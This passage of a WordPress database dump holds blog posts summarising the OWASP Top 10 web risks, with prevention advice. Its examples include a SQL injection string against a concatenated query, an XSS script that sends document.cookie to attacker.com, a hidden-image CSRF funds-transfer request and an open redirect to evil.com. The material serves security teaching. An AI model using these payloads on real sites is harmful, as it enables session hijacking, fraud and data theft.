trick your users into submitting a request to your website. Any website or other HTML feed that your users access could do this.\r\n\r\nCSRF takes advantage of web applications that allow attackers to predict all the details of a particular action. Since browsers send credentials like session cookies automatically, attackers can create malicious web pages which generate forged requests that are indistinguishable from legitimate ones. Detection of CSRF flaws is fairly easy via penetration testing or code analysis.\r\n\r\nAttackers can cause victims to change any data the victim is allowed to change or perform any function the victim is authorized to use.\r\n\r\n\r\n<strong>Am I Vulnerable to CSRF?</strong>\r\nThe easiest way to check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Without such an unpredictable token, attackers can forge malicious requests. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets.\r\n\r\nYou should check multistep transactions, as they are not inherently immune. Attackers can easily forge a series of requests by using multiple tags or possibly JavaScript.\r\n\r\nNote that session cookies, source IP addresses, and other information that is automatically sent by the browser doesn’t count since this information is also included in forged requests.\r\n\r\nOWASP’s CSRF Tester tool can help generate test cases to demonstrate the dangers of CSRF flaws.\r\n\r\n<strong>Example Attack Scenario</strong>\r\nThe application allows a user to submit a state changing request that does not include anything secret. Like so:\r\nhttp://example.com/app/transferFunds?amount=1500&amp;destinationAccount=4673243243\r\n\r\nSo, the attacker constructs a request that will transfer money from the victim’s account to their account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.\r\n\r\n&lt;imgsrc=\"http://example.com/app/transferFunds?amount=1500&amp;destinationAccount=attackersAcct#“width=\"0\" height=\"0\" /&gt;\r\n\r\nIf the victim visits any of these sites while already authenticated to example.com, any forged requests will include the user’s session info, inadvertently authorizing the request.\r\n\r\n<strong>How Do I Prevent CSRF?</strong>\r\nPreventing CSRF requires the inclusion of a unpredictable token in the body or URL of each HTTP request. Such tokens should at a minimum be unique per user session, but can also be unique per request.\r\n\r\n1. The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is subject to exposure.\r\n2. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs the risk that the URL will be exposed to an attacker, thus compromising the secret token.\r\n\r\nOWASP’s CSRF Guard can be used to automatically include such tokens in your Java EE, .NET, or PHP application. OWASP’s ESAPI includes token generators and validators that developers can use to protect their transactions.\r\n\r\n<b>\r\n<strong>4. Security Misconfiguration: Impact MODERATE</strong></b>\r\n\r\nGood security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application.\r\n\r\nAttacker accesses default accounts, unused pages, unpatched flaws, unprotected files and directories, etc. to gain unauthorized access to or knowledge of the system.\r\n\r\nSecurity misconfiguration can happen at any level of an application stack, including the platform, web server, application server, framework, and custom code. Developers and network administrators need to work together to ensure that the entire stack is configured properly. Automated scanners are useful for detecting missing patches, misconfigurations, use of default accounts, unnecessary services, etc.\r\n\r\nSuch flaws frequently give attackers unauthorized access to some system data or functionality. Occasionally, such flaws result in a complete system compromise.\r\n\r\n\r\n<strong>Am I Vulnerable?</strong>\r\nHave you performed the proper security hardening across the entire application stack?\r\n\r\n1. Do you have a process for keeping all your software up to date? This includes the OS, Web/App Server, DBMS, applications, and all code libraries.\r\n2. Is everything unnecessary disabled, removed, or not installed (e.g. ports, services, pages, accounts, privileges)?\r\n3. Are default account passwords changed or disabled?\r\n4. Is your error handling set up to prevent stack traces and other overly informative error messages from leaking?\r\n5. Are the security settings in your development frameworks (e.g., Struts, Spring, and ASP.NET) and libraries understood and configured properly?\r\n\r\nA concerted, repeatable process is required to develop and maintain a proper application security configuration.\r\n\r\n<strong>Example Attack Scenarios</strong>\r\nScenario #1: Your application relies on a powerful framework like Struts or Spring. XSS flaws are found in these framework components you rely on. An update is released to fix these flaws but you don’t update your libraries. Until you do, attackers can easily find and exploit these flaws in your app.\r\n\r\nScenario #2: The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.\r\n\r\nScenario #3: Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she reverses to get all your custom code. She then find a serious access control flaw in your application.\r\n\r\nScenario #4: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.\r\n\r\n<strong>How Do I Prevent This?</strong>\r\nThe primary recommendations are to establish all of the following:\r\n\r\n1. A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically. This process should be automated to minimize the effort required to setup a new secure environment.\r\n2. A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment. This need to include all code libraries as well, which are frequently overlooked.\r\n3. A strong application architecture that provides good separation and security between components.\r\n4. Consider running scans and doing audits periodically to help detect future misconfigurations or missing patches.\r\n\r\n<strong>5. Failure to Restrict URL Access: Impact MODERATE</strong>\r\n\r\nThreat Agents: Anyone with network access can send your application a request. Could anonymous users access a private page or regular users a privileged page?\r\n\r\nAttacker, who is an authorized system user, simply changes the URL to a privileged page. Is access granted? Anonymous users could access private pages that aren’t protected.\r\n\r\nApplications are not always protecting page requests properly. Sometimes, URL protection is managed via configuration, and the system is misconfigured. Sometimes, developers must include the proper code checks, and they forget. Detecting such flaws is easy. The hardest part is identifying which pages (URLs) exist to attack.\r\n\r\nSuch flaws allow attackers to access unauthorized functionality. Administrative functions are key targets for this type of attack.\r\n\r\n<strong>Am I Vulnerable?</strong>\r\nThe best way to find out if an application has failed to properly restrict URL access is to verify every page. Consider for each page, is the page supposed to be public or private. If a private page:\r\n\r\n1. Is authentication required to access that page?\r\n2. Is it supposed to be accessible to ANY authenticated user? If not, is an authorization check made to ensure the user has permission to access that page?\r\nExternal security mechanisms frequently provide authentication and authorization checks for page access. Verify they are properly configured for every page. If code level protection is used, verify that code level protection is in place for every required page. Penetration testing can also verify whether proper protection is in place.\r\n\r\n\r\n<strong>Example Attack Scenario</strong>\r\nThe attacker simply forces browses to target URLs. Consider the following URLs which are both supposed to require authentication. Admin rights are also required for access to the “admin_getappInfo” page.\r\n\r\nhttp://example.com/app/getappInfo\r\n\r\nhttp://example.com/app/admin_getappInfo\r\n\r\nIf the attacker is not authenticated, and access to either page is granted, then unauthorized access was allowed. If an authenticated, non-admin, user is allowed to access the “admin_getappInfo”page, this is a flaw, and may lead the attacker to more improperly protected admin pages.\r\n\r\nSuch flaws are frequently introduced when links and buttons are simply not displayed to unauthorized users, but the application fails to protect the pages they target.\r\n\r\n\r\n<strong>How Do I Prevent This?</strong>\r\nPreventing unauthorized URL access requires selecting an approach for requiring proper authentication and proper authorization for each page. Frequently, such protection is provided by one or more components external to the application code. Regardless of the mechanism(s), all of the following are recommended:\r\n\r\n1. The authentication and authorization policies be role based, to minimize the effort required to maintain these policies.\r\n2. The policies should be highly configurable, in order to minimize any hard coded aspects of the policy.\r\n3. The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific users and roles for access to every page.\r\n4. If the page is involved in a workflow, check to make sure the conditions are in the proper state to allow access.\r\n\r\n\r\n<strong>6. Insufficient Transport Layer Protection: Impact MODERATE</strong>\r\n\r\nThreat Agents: Consider anyone who can monitor the network traffic of your users. If the application is on the internet, who knows how your users access it. Don’t forget back end connections.\r\n\r\nMonitoring users’ network traffic can be difficult, but is sometimes easy. The primary difficulty lies in monitoring the proper network’s traffic while users are accessing the vulnerable site.\r\n\r\nApplications frequently do not protect network traffic. They may use SSL/TLS during authentication, but not elsewhere, exposing data and session IDs to interception. Expired or improperly configured certificates may also be used.\r\n\r\nDetecting basic flaws is easy. Just observe the site’s network traffic. More subtle flaws require inspecting the design of the application and the server configuration.\r\n\r\nSuch flaws expose individual users’ data and can lead to account theft. If an admin account was compromised, the entire site could be exposed. Poor SSL setup can also facilitate phishing and MITM attacks.\r\n\r\n\r\n<strong>Am I Vulnerable?</strong>\r\nThe best way to find out if an application has insufficient transport layer protection is to verify that:\r\n1. SSL is used to protect all authentication related traffic.\r\n2. SSL is used for all resources on all private pages and services. This protects all data and session tokens that are exchanged. Mixed SSL on a page should be avoided since it causes user warnings in the browser, and may expose the user’s session ID.\r\n3. Only strong algorithms are supported.\r\n4. All session cookies have their ‘secure’ flag set so the browser never transmits them in the clear.\r\n5. The server certificate is legitimate and properly configured for that server. This includes being issued by an authorized issuer, not expired, has not been revoked, and it matches all domains the site uses.\r\n\r\n<b>\r\n<strong>Example Attack Scenarios</strong></b>\r\nScenario #1: A site simply doesn’t use SSL for all pages that require authentication. Attacker simply monitors network traffic (like an open wireless or their neighborhood cable modem network), and observes an authenticated victim’s session cookie. Attacker then replays this cookie and takes over the user’s session.\r\n\r\nScenario #2: A site has improperly configured SSL certificate which causes browser warnings for its users. Users have to accept such warnings and continue, in order to use the site. This causes users to get accustomed to such warnings. Phishing attack against the site’s customers lures them to a lookalike site which doesn’t have a valid certificate, which generates similar browser warnings. Since victims are accustomed to such warnings, they proceed on and use the phishing site, giving away passwords or other private data.\r\n\r\nScenario #3: A site simply uses standard ODBC/JDBC for the database connection, not realizing all traffic is in the clear.\r\n\r\n\r\n<strong>How Do I Prevent This?</strong>\r\nProviding proper transport layer protection can affect the site design. It’s easiest to require SSL for the entire site. For performance reasons, some sites use SSL only on private pages. Others use SSL only on ‘critical’ pages, but this can expose session IDs and other sensitive data. At a minimum, do all of the following:\r\n\r\n1. Require SSL for all sensitive pages. Non-SSL requests to these pages should be redirected to the SSL page.\r\n2. Set the ‘secure’ flag on all sensitive cookies.\r\n3. Configure your SSL provider to only support strong (e.g., FIPS 140-2 compliant) algorithms.\r\n4. Ensure your certificate is valid, not expired, not revoked, and matches all domains used by the site.\r\n5. Backend and other connections should also use SSL or other encryption technologies.\r\n\r\n\r\nFor a more complete set of requirements and problems to avoid in this area, see the ASVS requirements on Communications Security (http://www.owasp.org/index.php/ASVS).\r\n\r\n\r\n<strong>7. Unvalidated Redirects and Forwards: Impact MODERATE</strong><b>\r\n</b>\r\nWeb applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.\r\n\r\nThreat Agents: Consider anyone who can trick your users into submitting a request to your website. Any website or other HTML feed that your users use could do this.\r\n\r\nAttacker links to unvalidated redirect and tricks victims into clicking it. Victims are more likely to click on it, since the link is to a valid site. Attacker targets unsafe forward to bypass security checks.\r\n\r\nApplications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page.\r\n\r\nDetecting unchecked redirects is easy. Look for redirects where you can set the full URL. Unchecked forwards are harder, since they target internal pages.\r\n\r\nSuch redirects may attempt to install malware or trick victims into disclosing passwords or other sensitive information. Unsafe forwards may allow access control bypass.\r\n\r\n\r\n<strong>Am I Vulnerable?</strong>\r\nThe best way to find out if an application has any unvalidated redirects or forwards is to:\r\n\r\n1. Review the code for all uses of redirect or forward (called a transfer in .NET). For each use, identify if the target URL is included in any parameter values. If so, verify the parameter(s) are validated to contain only an allowed destination, or element of a destination.\r\n2. Also, spider the site to see if it generates any redirects (HTTP response codes 300-307, typically 302). Look at the parameters supplied prior to the redirect to see if they appear to be a target URL or a piece of such a URL. If so, change the URL target and observe whether the site redirects to the new target.\r\n3. If code is unavailable, check all parameters to see if they look like part of a redirect or forward URL destination and test those that do.\r\n\r\n\r\n<strong>Example Attack Scenarios</strong>\r\nScenario #1: The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.\r\n\r\nhttp://www.example.com/redirect.jsp?url=evil.com\r\n\r\nScenario #2: The application uses forward to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application’s access control check and then forward the attacker to an administrative function that she would not normally be able to access.\r\n\r\nhttp://www.example.com/boring.jsp?fwd=admin.jsp\r\n\r\n\r\nFor more info refer OWASP Article on Open Redirects (http://www.owasp.org/index.php/Open_redirect)\r\n\r\n\r\n\r\n<strong>For Developers:</strong>\r\n\r\nTo help organizations and developers reduce their application security risks in a cost effective manner, OWASP has produced numerous free and open resources that one can use to address application security in an organization. The following are some of the many resources OWASP has produced to help organizations produce secure web applications.\r\n\r\nApplication Security Requirements: To produce a secure web application, you must define what secure means for that application. OWASP recommends you use the OWASP Application Security Verification Standard (http://www.owasp.org/index.php/ASVS ), as a guide for setting the security requirements for your application(s).\r\n\r\nApplication Security Architecture: Rather than retrofitting security into your applications, it is far more cost effective to design the security in from the start. OWASP recommends the OWASP Developer’s Guide (http://www.owasp.org/index.php/Guide ), as a good starting point for guidance on how to design security in from the beginning.\r\n\r\nStandard Security Controls: •Building strong and usable security controls is exceptionally difficult. Providing developers with a set of standard security controls radically simplifies the development of secure applications. OWASP recommends the OWASP Enterprise Security API (ESAPI) project as a model for the security APIs needed to produce secure web applications. ESAPI provides reference implementations in Java, .NET, PHP, Classic ASP, Python, and Cold Fusion (http://www.owasp.org/index.php/ESAPI ).\r\n\r\nSecure Development Lifecycle: To improve the process your organization follows when building such applications, OWASP recommends the OWASP Software Assurance Maturity Model (http://www.owasp.org/index.php/SAMM ). This model helps organizations formulate and implement a strategy for software security that is tailored to the specific risks facing their organization.\r\n\r\nApplication Security Education: The OWASP Education Project (http://www.owasp.org/index.php/Category:OWASP_Education_Project ) provides training materials to help educate developers on web application security and has compiled a large list of OWASP Educational Presentations. For hands-on learning about vulnerabilities, try OWASP WebGoat. To stay current, come to an OWASP AppSec Conference, OWASP Conference Training, or local OWASP Chapter meetings.','OWASP Top 7 Application Moderate Security Risks','','publish','open','open','','owasp-top-7-application-moderate-security-risks','','','2014-07-21 12:11:03','2014-07-21 12:11:03','',0,'http://localhost/yalavarthitechnologies/blog/?p=199',0,'post','',0),(200,1,'2014-07-21 12:13:21','2014-07-21 12:13:21','<strong>Summary:</strong>\r\n\r\n<strong>1. Injection: Impact SEVERE</strong>\r\n\r\nInjection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.\r\n\r\nThreat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.\r\n\r\nAttack Vectors: (Exploitability EASY) Attacker sends simple text-based attacks that exploit the syntax of the targeted interpreter. Almost any source of data can be an injection vector, including internal sources.\r\n\r\nSecurity Weakness: (Detectability AVERAGE) Injection flaws occur when an application sends untrusted data to an interpreter. Injection flaws are very prevalent, particularly in legacy code, often found in SQL queries, LDAP queries, XPath queries, OS commands, program arguments, etc. Injection flaws are easy to discover when examining code, but more difficult via testing. Scanners and fuzzers can help attackers find them.\r\n\r\nTechnical Impacts: Impact SEVERE\r\n\r\nInjection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover.\r\n\r\n<strong>Am I Vulnerable To Injection?</strong>\r\n\r\nThe best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query. For SQL calls, this means using bind variables in all prepared statements and stored procedures, and avoiding dynamic queries.\r\n\r\nChecking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help a security analyst find the use of interpreters and trace the data flow through the application. Penetration testers can validate these issues by crafting exploits that confirm the vulnerability.\r\n\r\nAutomated dynamic scanning which exercises the application may provide insight into whether some exploitable injection flaws exist. Scanners cannot always reach interpreters and have difficulty detecting whether an attack was successful. Poor error handling makes injection flaws easier to discover.\r\n\r\n<strong>Example Attack Scenario</strong>\r\n\r\nThe application uses untrusted data in the construction of the following vulnerable SQL call:\r\n\r\nString query = \"SELECT * FROM accounts WHERE custID=\'\" + request.getParameter (\"id\") +\"\'\";\r\n\r\nThe attacker modifies the ‘id’ parameter in their browser to send: \' or \'1\'=\'1. This changes the meaning of the query to return all the records from the accounts database, instead of only the intended customer’s.\r\n\r\nhttp://example.com/app/accountView?id=\' or \'1\'=\'1\r\n\r\nIn the worst case, the attacker uses this weakness to invoke special stored procedures in the database that enable a complete takeover of the database and possibly even the server hosting the database.\r\n\r\n<strong>How Do I Prevent Injection?</strong>\r\n\r\nPreventing injection requires keeping untrusted data separate from commands and queries.\r\n\r\n1. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. Be careful of APIs, such as stored procedures, that are parameterized, but can still introduce injection under the hood.\r\n\r\n2. If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI has some of these escaping routines.\r\n\r\n3. Positive or “white list” input validation with appropriate canonicalization is also recommended, but is nota complete defense as many applications require special characters in their input. OWASP’s ESAPI has an extensible library of white list input validation routines.\r\n\r\nRefer OWASP SQL Injection Prevention Cheat Sheet:\r\n\r\nhttp://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet\r\n\r\n&nbsp;\r\n\r\n<strong>2. Broken Authentication and Session Management: Impact SEVERE</strong>\r\n\r\nApplication functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users’ identities.\r\n\r\nDevelopers frequently build custom authentication and session management schemes, but building these correctly is hard. As a result, these custom schemes frequently have flaws in areas such as logout, password management, timeouts, remember me, secret question, account update, etc. Finding such flaws can sometimes be difficult, as each implementation is unique.\r\n\r\nSuch flaws may allow some or even all accounts to be attacked. Once successful, the attacker can do anything the victim could do. Privileged accounts are frequently targeted.\r\n\r\n<strong>Am I Vulnerable?</strong>\r\n\r\nThe primary assets to protect are credentials and session IDs.\r\n\r\n1. Are credentials always protected when stored using hashing or encryption?\r\n\r\n2. Can credentials be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs)?\r\n\r\n3. Are session IDs exposed in the URL (e.g., URL rewriting)?\r\n\r\n4. Are session IDs vulnerable to session fixation attacks?\r\n\r\n5. Do session IDs timeout and can users log out?\r\n\r\n6. Are session IDs rotated after successful login?\r\n\r\n7. Are passwords, session IDs, and other credentials sent only over TLS connections?\r\n\r\n&nbsp;\r\n\r\n<strong>Example Attack Scenarios</strong>\r\n\r\nScenario #1: Airline reservations application supports URL rewriting, putting session IDs in the URL:\r\n\r\nhttp://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii\r\n\r\nAn authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.\r\n\r\nScenario #2: Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.\r\n\r\nScenario #3: Insider or external attacker gains access to the system’s password database. User passwords are not encrypted, exposing every user’s password to the attacker.\r\n\r\n<strong>How Do I Prevent This?</strong>\r\n\r\nThe primary recommendation for an organization is to make available to developers:\r\n\r\n1. A single set of strong authentication and session management controls. Such controls should strive to:\r\n\r\na) Meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management).\r\n\r\nb) Have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.\r\n\r\n2. Strong efforts should also be made to avoid XSS flaws which can be used to steal session IDs.\r\n\r\n<b>\r\n<strong>3. Insecure Cryptographic Storage: Impact SEVERE</strong></b>\r\n\r\nMany web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.\r\n\r\nThreat Agents: Consider the users of your system. Would they like to gain access to protected data they aren’t authorized for? What about internal administrators?\r\n\r\nAttackers typically don’t break the crypto. They break something else, such as find keys, get cleartext copies of data, or access data via channels that automatically decrypt.\r\n\r\nThe most common flaw in this area is simply not encrypting data that deserves encryption. When encryption is employed, unsafe key generation and storage, not rotating keys, and weak algorithm usage is common. Use of weak or unsalted hashes to protect passwords is also common. External attackers have difficulty detecting such flaws due to limited access. They usually must exploit something else first to gain the needed access.\r\n\r\nFailure frequently compromises all data that should have been encrypted. Typically this information includes sensitive data such as health records, credentials, personal data, credit cards, etc.\r\n\r\n<strong>Am I Vulnerable?</strong>\r\n\r\nThe first thing you have to determine is which data is sensitive enough to require encryption. For example, passwords, credit cards, health records, and personal information should be encrypted. For all such data, ensure:\r\n\r\n1. It is encrypted everywhere it is stored long term, particularly in backups of this data.\r\n\r\n2. Only authorized users can access decrypted copies of the data.\r\n\r\n3. A strong standard encryption algorithm is used.\r\n\r\n4. A strong key is generated, protected from unauthorized access, and key change is planned for.\r\n\r\n<strong>Example Attack Scenarios</strong>\r\n\r\nScenario #1: An application encrypts credit cards in a database to prevent exposure to end users. However, the database is set to automatically decrypt queries against the credit card columns, allowing a SQL injection flaw to retrieve all the credit cards in cleartext. The system should have been configured to allow only back end applications to decrypt them, not the front end web application.\r\n\r\nScenario #2: A backup tape is made of encrypted health records, but the encryption key is on the same backup. The tape never arrives at the backup center.\r\n\r\nScenario #3: The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be brute forced in 4 weeks, while properly salted hashes would have taken over 3000 years.\r\n\r\n<strong>How Do I Prevent This?</strong>\r\n\r\nThe full perils of unsafe cryptography are well beyond the scope of this Top 10. That said, for all sensitive data deserving encryption, do all of the following, at a minimum:\r\n\r\n1. Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all such data at rest in a manner that defends against these threats.\r\n\r\n2. Ensure offsite backups are encrypted, but the keys are managed and backed up separately.\r\n\r\n3. Ensure appropriate strong standard algorithms and strong keys are used, and key management is in place.\r\n\r\n4. Ensure passwords are hashed with a strong standard algorithm and an appropriate salt is used.\r\n\r\n5. Ensure all keys and passwords are protected from unauthorized access.\r\n\r\nFor a more complete set of requirements and problems to avoid in this area, see the ASVS requirements on Cryptography (<a href=\"http://www.owasp.org/index.php/ASVS\">http://www.owasp.org/index.php/ASVS</a>).','OWASP Top 3 Application Severe Security Risks','','publish','open','open','','owasp-top-3-application-severe-security-risks','','','2014-07-21 12:13:22','2014-07-21 12:13:22','',0,'http://localhost/yalavarthitechnologies/blog/?p=200',0,'post','',0),(201,1,'2014-07-21 12:11:03','2014-07-21 12:11:03','<strong>Summary:</strong>\r\n\r\n<strong>1. Cross-Site Scripting (XSS) - Impact MODERATE</strong>\r\n\r\nXSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) Stored, 2) Reflected, and 3) DOM based XSS.\r\n\r\nDetection of most XSS flaws is fairly easy via testing or code analysis.\r\n\r\nAttackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.\r\n\r\n<strong>Am I Vulnerable to XSS?</strong>\r\nYou need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.\r\n\r\nBoth static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing, in addition to any automated approaches in use.\r\n\r\nWeb 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.\r\n\r\n<strong>Example Attack Scenario:</strong>\r\nThe application uses untrusted data in the construction of the following HTML snippet without validation or escaping:\r\n\r\n(String) page += \"&lt;input name=\'creditcard\' type=\'TEXT‘value=\'\" + request.getParameter (\"CC\") + \"\'&gt;\";\r\n\r\nThe attacker modifies the ‘CC’ parameter in their browser to:\r\n\r\n\'&gt;&lt;script&gt;document.location=\'http://www.attacker.com/cgi-bin/cookie.cgi?foo=\'+document.cookie&lt;/script&gt;\'.\r\n\r\nThis causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any CSRF defense the application might employ. See A5 for info on CSRF.\r\n\r\n<strong>How Do I Prevent XSS?</strong>\r\nPreventing XSS requires keeping untrusted data separate from active browser content.\r\n\r\n1. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the OWASP XSS Prevention Cheat Sheet (http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet) for more information about data escaping techniques.\r\n\r\n2. Positive or “whitelist” input validation with appropriate canonicalization and decoding is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. Such validation should, as much as possible, decode any encoded input, and then validate the length, characters, format, and any business rules on that data before accepting the input.\r\n\r\n\r\n<strong>2. Insecure Direct Object References: Impact MODERATE</strong>\r\n\r\nA direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.\r\n\r\nThreat Agents: Consider the types of users of your system. Do any users have only partial access to certain types of system data?\r\n\r\nApplications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws and code analysis quickly shows whether authorization is properly verified.\r\n\r\nTechnical Impacts: Such flaws can compromise all the data that can be referenced by the parameter. Unless the name space is sparse, it’s easy for an attacker to access all available data of that type.\r\n\r\n<strong>Am I Vulnerable?</strong>\r\nThe best way to find out if an application is vulnerable to insecure direct object references is to verify that all object references have appropriate defenses. To achieve this, consider:\r\n\r\n1. For direct references to restricted resources, the application needs to verify the user is authorized to access the exact resource they have requested.\r\n\r\n2. If the reference is an indirect reference, the mapping to the direct reference must be limited to values authorized for the current user.\r\n\r\nCode review of the application can quickly verify whether either approach is implemented safely. Testing is also effective for identifying direct object references and whether they are safe. Automated tools typically do not look for such flaws because they cannot recognize what requires protection or what is safe or unsafe.\r\n<b>\r\n<strong>Example Attack Scenario</strong></b>\r\nThe application uses unverified data in a SQL call that is accessing account information:\r\n\r\nString query = \"SELECT * FROM accts WHERE account = ?\";\r\n\r\nPreparedStatement pstmt=connection.prepareStatement (query,);\r\n\r\npstmt.setString (1, request.getparameter (\"acct\"));\r\n\r\nResultSetresults = pstmt.executeQuery ( );\r\n\r\nThe attacker simply modifies the ‘acct’ parameter in their browser to send whatever account number they want. If not verified, the attacker can access any user’s account, instead of only the intended customer’s account.\r\nhttp://example.com/app/accountInfo?acct=notmyacct\r\n\r\n\r\n<strong>How Do I Prevent This?</strong>\r\nPreventing insecure direct object references requires selecting an approach for protecting each user accessible object (e.g., object number, filename):\r\n\r\n1. Use per user or session indirect object references. This prevents attackers from directly targeting unauthorized resources. For example, instead of using the resource’s database key, a drop down list of six resources authorized for the current user could use the numbers 1 to 6 to indicate which value the user selected. The application has to map the per-user indirect reference back to the actual database key on the server. OWASP’s ESAPI includes both sequential and random access reference maps that developers can use to eliminate direct object references.\r\n\r\n2. Check access. Each use of a direct object reference from an untrusted source must include an access control check to ensure the user is authorized for the requested object.\r\n\r\n\r\n\r\n<strong>3. Cross-Site Request Forgery (CSRF): Impact MODERATE</strong>\r\n\r\nA CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.\r\n\r\n\r\nThreat Agents: Consider anyone who can trick your users into submitting a request to your website. Any website or other HTML feed that your users access could do this.\r\n\r\nCSRF takes advantage of web applications that allow attackers to predict all the details of a particular action. Since browsers send credentials like session cookies automatically, attackers can create malicious web pages which generate forged requests that are indistinguishable from legitimate ones. Detection of CSRF flaws is fairly easy via penetration testing or code analysis.\r\n\r\nAttackers can cause victims to change any data the victim is allowed to change or perform any function the victim is authorized to use.\r\n\r\n\r\n<strong>Am I Vulnerable to CSRF?</strong>\r\nThe easiest way to check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Without such an unpredictable token, attackers can forge malicious requests. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets.\r\n\r\nYou should check multistep transactions, as they are not inherently immune. Attackers can easily forge a series of requests by using multiple tags or possibly JavaScript.\r\n\r\nNote that session cookies, source IP addresses, and other information that is automatically sent by the browser doesn’t count since this information is also included in forged requests.\r\n\r\nOWASP’s CSRF Tester tool can help generate test cases to demonstrate the dangers of CSRF flaws.\r\n\r\n<strong>Example Attack Scenario</strong>\r\nThe application allows a user to submit a state changing request that does not include anything secret. Like so:\r\nhttp://example.com/app/transferFunds?amount=1500&amp;destinationAccount=4673243243\r\n\r\nSo, the attacker constructs a request that will transfer money from the victim’s account to their account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.\r\n\r\n&lt;imgsrc=\"http://example.com/app/transferFunds?amount=1500&amp;destinationAccount=attackersAcct#“width=\"0\" height=\"0\" /&gt;\r\n\r\nIf the victim visits any of these sites while already authenticated to example.com, any forged requests will include the user’s session info, inadvertently authorizing the request.\r\n\r\n<strong>How Do I Prevent CSRF?</strong>\r\nPreventing CSRF requires the inclusion of a unpredictable token in the body or URL of each HTTP request. Such tokens should at a minimum be unique per user session, but can also be unique per request.\r\n\r\n1. The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is subject to exposure.\r\n2. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs the risk that the URL will be exposed to an attacker, thus compromising the secret token.\r\n\r\nOWASP’s CSRF Guard can be used to automatically include such tokens in your Java EE, .NET, or PHP application. OWASP’s ESAPI includes token generators and validators that developers can use to protect their transactions.\r\n\r\n<b>\r\n<strong>4. Security Misconfiguration: Impact MODERATE</strong></b>\r\n\r\nGood 